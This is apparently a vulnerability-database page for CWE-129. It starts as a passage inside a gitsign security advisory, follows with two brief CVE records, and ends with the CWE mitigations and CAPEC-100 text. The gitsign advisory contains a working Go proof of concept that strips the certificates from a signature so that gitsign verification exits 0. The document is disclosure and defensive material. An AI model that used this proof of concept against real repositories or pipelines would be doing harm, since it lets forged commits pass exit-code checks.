dereference.\n\n### Panic recovery silently returns exit 0\n\nAll root-command invocations (including `gitsign --verify`, which git calls for `verify-commit`) are wrapped by `(*Streams).Wrap`:\n\n```go\n// internal/commands/root/root.go:69\u201395\nRunE: func(cmd *cobra.Command, args []string) error {\n    s := io.New(o.Config.LogPath)\n    defer s.Close()\n    return s.Wrap(func() error {     // panic recovery is here\n        ...\n        case o.FlagVerify:\n            return commandVerify(o, s, args...)\n        ...\n    })\n},\n```\n\n`Wrap` uses a bare `recover()` inside a `defer`:\n\n```go\n// internal/io/streams.go:71\u201384\nfunc (s *Streams) Wrap(fn func() error) error {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))\n            // \u2190 no named return, no assignment; Wrap returns nil\n        }\n    }()\n    if err := fn(); err != nil {\n        fmt.Fprintln(s.TTYOut, err)\n        return err\n    }\n    return nil\n}\n```\n\nIn Go, a `recover()` in a `defer` does not modify the enclosing function\u0027s return value unless named returns are used. When `fn()` panics, the `defer` fires, prints the panic message and stack trace to TTYOut, and then `Wrap` returns the zero value for `error` \u2014 which is `nil`.\n\n`main.go` then sees nil from `rootCmd.Execute()` and exits 0:\n\n```go\n// main.go:37\u201339\nif err := rootCmd.Execute(); err != nil {\n    os.Exit(1)   // NOT reached\n}\n// process falls through \u2192 exit 0\n```\n\n### GPG status-fd provides partial protection for git verify-commit\n\n`git verify-commit` passes `--status-fd=1` to gitsign. The GPG status protocol requires `GOODSIG` in the status output for git to treat the signature as valid. In `commandVerify`, `EmitGoodSig` is only called after `v.Verify()` succeeds:\n\n```go\n// internal/commands/root/verify.go:49\u201390\ngpgout.Emit(gpg.StatusNewSig)          // written before verification\n\nsummary, err := v.Verify(ctx, data, sig, true)  // PANIC here\n// lines below never reached:\ngpgout.EmitGoodSig(summary.Cert)\ngpgout.EmitTrustFully()\n```\n\nBecause the panic fires inside `v.Verify()`, only `NEWSIG` (not `GOODSIG`) is written to the status-fd. Modern git reads this output and still considers the commit unverified. However, scripts and CI tools that check only the exit code of `gitsign --verify` see exit 0 and consider verification successful.\n\n### Execution chain to impact\n\n1. Attacker strips all certificates from a valid gitsign PKCS7 signature using `sd.SetCertificates([]*x509.Certificate{})` and re-serializes the message.\n2. Attacker attaches this certificate-free signature as the `gpgsig` field of a commit and pushes it to an accessible repository (or delivers the `.pem` file directly).\n3. Victim runs `gitsign --verify \u003csig\u003e \u003cdata\u003e` or `git verify-commit \u003ccommit\u003e` (which internally invokes `gitsign --verify`).\n4. `CertVerifier.Verify()` panics at `certs[0]` with `index out of range [0] with length 0`.\n5. `Wrap()` recovers the panic and returns nil; process exits 0.\n6. Any caller that checks only the exit code considers verification successful.\n\n## Proof of Concept\n\n```go\n// make_bad_sig.go \u2014 run from repo root: go run ./make_bad_sig.go\n// Then: go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo \"exit: $?\"\npackage main\n\nimport (\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\n\t\"github.com/go-git/go-git/v5/plumbing\"\n\t\"github.com/go-git/go-git/v5/plumbing/object\"\n\t\"github.com/go-git/go-git/v5/storage/memory\"\n\tcms \"github.com/sigstore/gitsign/internal/fork/ietf-cms\"\n)\n\nfunc main() {\n\traw, err := os.ReadFile(\"internal/e2e/testdata/offline.commit\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tst := memory.NewStorage()\n\tobj := st.NewEncodedObject()\n\tobj.SetType(plumbing.CommitObject)\n\tw, _ := obj.Writer()\n\t_, _ = w.Write(raw)\n\t_ = w.Close()\n\n\tc, err := object.DecodeCommit(st, obj)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tblk, _ := pem.Decode([]byte(c.PGPSignature))\n\tif blk == nil {\n\t\tpanic(\"no pem block in commit signature\")\n\t}\n\n\tsd, err := cms.ParseSignedData(blk.Bytes)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Strip all certificates from the SignedData\n\tif err := sd.SetCertificates([]*x509.Certificate{}); err != nil {\n\t\tpanic(err)\n\t}\n\n\tder, err := sd.ToDER()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tbadSig := pem.EncodeToMemory(\u0026pem.Block{Type: \"SIGNED MESSAGE\", Bytes: der})\n\n\tmo := new(plumbing.MemoryObject)\n\t_ = c.EncodeWithoutSignature(mo)\n\tr, _ := mo.Reader()\n\tdata, _ := io.ReadAll(r)\n\n\t_ = os.WriteFile(\"/tmp/gitsign-badsig.pem\", badSig, 0644)\n\t_ = os.WriteFile(\"/tmp/gitsign-data.bin\", data, 0644)\n\tfmt.Println(\"Wrote /tmp/gitsign-badsig.pem and /tmp/gitsign-data.bin\")\n}\n```\n\n**Expected output after `go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo \"exit: $?\"`:**\n\n```\nruntime error: index out of range [0] with length 0\ngoroutine 1 [running]:\nruntime/debug.Stack(...)\n...\ngithub.com/sigstore/gitsign/pkg/git.(*CertVerifier).Verify(...)\n    pkg/git/verifier.go:114 +0x...\n...\nexit: 0        \u2190 process exits 0 despite verification failure\n```\n\n## Impact\n\n- **Authentication bypass for exit-code callers**: Any script or CI pipeline running `gitsign --verify` and checking only `$?` will treat the panicked verification as a success (exit 0). This allows an attacker to make a commit appear verified without a valid signature.\n- **Denial of service**: Every verification attempt against a crafted signature panics, preventing legitimate verification output from being produced.\n- **Misleading output**: The panic stack trace is written to TTYOut (stderr in non-TTY environments), which may be silently discarded by callers that redirect stderr.\n- **Partial bypass of git verify-commit**: git itself is protected by the `GOODSIG` check on the status-fd; however, the exit-code bypass affects auxiliary tooling that wraps `gitsign --verify` directly.\n\n## Recommended Remediation\n\n### Option 1: Guard the slice access (preferred \u2014 lowest layer, protects all callers)\n\nAdd an explicit length check in `CertVerifier.Verify()` immediately after `GetCertificates()`:\n\n```go\n// pkg/git/verifier.go \u2014 replace lines 110\u2013114\ncerts, err := sd.GetCertificates()\nif err != nil {\n    return nil, fmt.Errorf(\"error getting signature certs: %w\", err)\n}\nif len(certs) == 0 {\n    return nil, fmt.Errorf(\"no certificates found in signature\")\n}\ncert := certs[0]\n```\n\nThis produces a clean error at the source instead of a panic, propagated through `commandVerify` as a non-nil return, so `Wrap` returns it, `Execute()` returns it, and `main.go` exits 1.\n\n### Option 2: Return an error instead of nil on panic recovery\n\nFix `Wrap()` to return an error when it recovers a panic, so that all callers reliably see a non-zero exit code:\n\n```go\n// internal/io/streams.go \u2014 replace Wrap with named return\nfunc (s *Streams) Wrap(fn func() error) (retErr error) {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))\n            retErr = fmt.Errorf(\"panic: %v\", r)   // propagate as error\n        }\n    }()\n    if err := fn(); err != nil {\n        fmt.Fprintln(s.TTYOut, err)\n        return err\n    }\n    return nil\n}\n```\n\nThis is a defense-in-depth fix. It ensures that any future panic in a command results in exit 1 rather than 0. Option 1 should be applied regardless; Option 2 prevents similar bypass bugs from any other panic source.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-7c37-gx6w-8vc5",
  "modified": "2026-05-15T23:49:44Z",
  "published": "2026-05-08T17:37:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/gitsign/security/advisories/GHSA-7c37-gx6w-8vc5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44310"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/gitsign"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gitsign --verify panics on empty-certificate PKCS7 and exits 0, bypassing exit-code callers"
}

GHSA-7CPF-7F36-GXJ9

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07
VLAI
Details

Buffer overflow in modem due to improper array index check before copying into it in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Wearables

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-11307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-13T06:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Buffer overflow in modem due to improper array index check before copying into it in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Wearables",
  "id": "GHSA-7cpf-7f36-gxj9",
  "modified": "2022-05-24T19:07:47Z",
  "published": "2022-05-24T19:07:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11307"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/july-2021-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7CWJ-XV9G-XCQR

Vulnerability from github – Published: 2025-09-24 15:31 – Updated: 2025-11-03 21:34
VLAI
Details

NVIDIA CUDA Toolkit for all platforms contains a vulnerability in nvdisasm where a user may cause an out-of-bounds write by running nvdisasm on a malicious ELF file. A successful exploit of this vulnerability may lead to denial of service.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-23338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-24T14:15:48Z",
    "severity": "LOW"
  },
  "details": "NVIDIA CUDA Toolkit for all platforms contains a vulnerability in nvdisasm where a user may cause an out-of-bounds write by running nvdisasm on a malicious ELF file. A successful exploit of this vulnerability may lead to denial of service.",
  "id": "GHSA-7cwj-xv9g-xcqr",
  "modified": "2025-11-03T21:34:35Z",
  "published": "2025-09-24T15:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23338"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5661"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-23338"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2169"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-7
Architecture and Design

Strategy: Input Validation

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Mitigation MIT-15
Architecture and Design
  • For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.
Mitigation MIT-35
Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-100: Overflow Buffers

Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.

← Back to the CWE list